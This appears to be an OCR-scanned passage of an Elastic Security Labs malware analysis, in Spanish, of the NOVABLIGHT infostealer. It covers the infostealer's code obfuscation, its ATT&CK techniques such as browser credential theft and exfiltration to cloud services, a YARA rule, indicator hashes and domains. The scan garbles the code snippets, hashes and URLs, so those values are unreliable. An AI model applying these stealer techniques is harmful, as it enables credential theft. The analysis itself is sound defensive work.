3 descriptores de acceso para propiedades, uno de los cuales devuelve el indicador disabledNetwork recuperado de la
configuracion, y un contenedor para una llamada del despachador ( __p_jGTR_dispatcher_26 ). A lo largo del cédigo,
hay un patrén donde los nombres de propiedad comienzan con empretecerian.js , que también es el nombre del
archivo de script. La funcién llamada puede entonces acceder a los objetos y funciones reales a través de este objeto

plano rellenado por el llamador.
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_pN rarMask[ @] ( lanZaDAS PmQo"]);
melIoRATivesentubaraislamieseagramarebronceariamos(..._ p_ggho_args
 w3Th_flat_object = {

s, _ p_w3Th_flat_object);

Patrén de ejemplo para objeto aplanado
Ofuscacion del flujo de control

Parte de la ruta de ejecucién del codigo se enruta a través de un despachador central, __p_jGTR_dispatcher_26 , en el

que el primer nombre del argumento toma una cadena de identificacién corta.

__p_jGTR _dispatcher 26(name, flaghrg, returnTypefrg, fnlLengths
MLBm" 2,

__ p buxj STR 5 decode, p buxj STR 5, output, fns) {
La firma de la funcién del despachador principal
Cada ID esta asignado a una funcién distinta. Por ejemplo, el ID jggatJ es referenciado por el m6dulo
modules/init/Troll.js y es responsable de un cuadro de mensaje emergente “troll”.

GTR_dispatcher_26(name, flagArg, returnTypeArg, fnLengths
: (---_p_ygt1
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Asignacion del ID de funcion a la funcién real
Variables proxy

En primer lugar, la ofuscacién transforma la sintaxis de la funcién en “sintaxis de parametros restantes”, que reemplaza
los parametros con una matriz que almacena valores de variables en lugar de variables directas; luego, el cédigo hace
referencia a la matriz con valores numéricos. Por ejemplo, la funcién __p_xIFu_MAIN_STR_decode no se llama con
parametros directos. En cambio, sus argumentos se colocan primero en la matriz __p_A5wG_varMask (linea 22)y la
funcién estd programada para recuperarlos de indices predefinidos. Por ejemplo, en la linea 25, el indice -36 dela

matriz almacena el indice del caracter "c" en una cadena almacenada en __p_A5wG_varMask[171] .

__p_xIFu_MAIN_STR_decode(... ) {
__p_IZIR_ast

-198] = o,
8] <
.indexOf

__p_IZIR_ ast( -36] * 91,
i & 8191) > 88 ? 13 : 14);

{
__p_IZIR ast -183 [-198] & 255),

Funcién que emplea parametros de reposo

NOVABLIGHT y MITRE ATT&CK

Elastic usa el framework MITRE ATT&CK para documentar tacticas, técnicas y procedimientos comunes que las

amenazas persistentes avanzadas emplean contra las redes empresariales.
Tactica

e Ejecucion
o Persistencia

e Evasion de defensa

e Acceso a credenciales

e Descubrimiento
» Coleccién

e Comando y control

o Exfiltracion

Técnicas

e Informacién o archivos ofuscados

e Descubrimiento de procesos

o Intérprete de comandos y secuencias de comandos: JavaScript

e Datos en etapa de preparacion: preparacion de datos locales

e Deteccion de informacién del sistema

e Descubrimiento de archivos y directorios

e Captura de pantalla
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» Datos del portapapeles

o Captura de video

o Evasién de virtualizacién/sandbox: comprobaciones del sistema

o Eliminacién del acceso a cuentas

» Credenciales de almacenes de contrasefias: Credenciales de navegadores sitio web
 Debilitar defensas: deshabilitar o modificar herramientas

» Exfiltracién a través de servicios sitio web: Exfiltracion al espacio en la nube

Conclusion

NOVABLIGHT muestra cémo incluso el malware menos conocido puede tener impacto. Al ofrecer una herramienta
pulida y facil de usar a través de plataformas como Telegram y Discord, sus creadores hicieron que sea sencillo para

cualquiera involucrar en el ciberdelito.

Ademas, esta amenaza no es estatica. Nuestro anélisis confirma que NOVABLIGHT esta en desarrollo continuo y
activo. Esta evolucién continua garantiza que NOVABLIGHT seguira siendo una amenaza persistente y relevante en el

futuro previsible.

Deteccion de NOVABLIGHT

YARA

Elastic Security cre6 reglas YARA para identificar esta actividad.

rule Windows_Infostealer_NovaBlight {
meta:
author = "Elastic Security"

"2025-07-18"

creation_date

last_modified = "2025-07-28"

os = "Windows"

arch = "x86"

category_type = "Infostealer"

family = "NovaBlight"

threat_name = "Windows.Infostealer.NovaBlight"

reference_sample = "d806d6b5811965e745fd444h8e5712648780cc23db9aa2c1675bc9d18530ab73"
strings:

$al = "C:\\Users\\Administrateur\\Desktop\\Nova\\"
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$a2 = "[+] Recording..." fullword

$a3 = "[+] Capture start" fullword
condition:
all of them
}
Observaciones

En esta investigacion se discutieron los siguientes observables.

Observable

ed164ee2eacaddeeaddc4the271ee2b2387b59929d73c843281a8d5e94c05d64

39f09771d70e96c7b760b3bba30ab15ec5fhbaddd5bc1e2e609ddf@73c2c853d

97393¢27195c58f8edacc9312a4c36818fe78f2ddce/cchad7f77a5cad2eabbh

api.nova-blight[.]top

shadow.nova-blight[.]Jtop

nova-blight[.]site

nova-blight[.]xyz

bamboulacity.nova-blight[.]xyz

Referencias

A'lo largo de la investigacién anterior se hizo referencia a lo siguiente:
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256
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256

Dominio
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Dominio

Dominio
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Referencia

NOVABLIGHT
VERSION 2.2

NOVABLIGHT
VERSION 2.1

NOVABLIGHT
VERSION 2.0

Panel de
control de
NOVABLIGHT

Panel de
control de
NOVABLIGHT

Panel de
control de
NOVABLIGHT

Panel de
control de
NOVABLIGHT

Panel de
control de
NOVABLIGHT



https://www.elastic.co/es/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes

e https:VVwww.gatewatcher.comVlabVgrupo-nova-sentinel\V

 https:\VVwww.cyfirma.com\/research\Vemerging-maas-operator-sordeal-releases-nova-infostealer\/

Source: https://www.elastic.co/es/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes
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https://www.gatewatcher.com/lab/groupe-nova-sentinel/
https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/

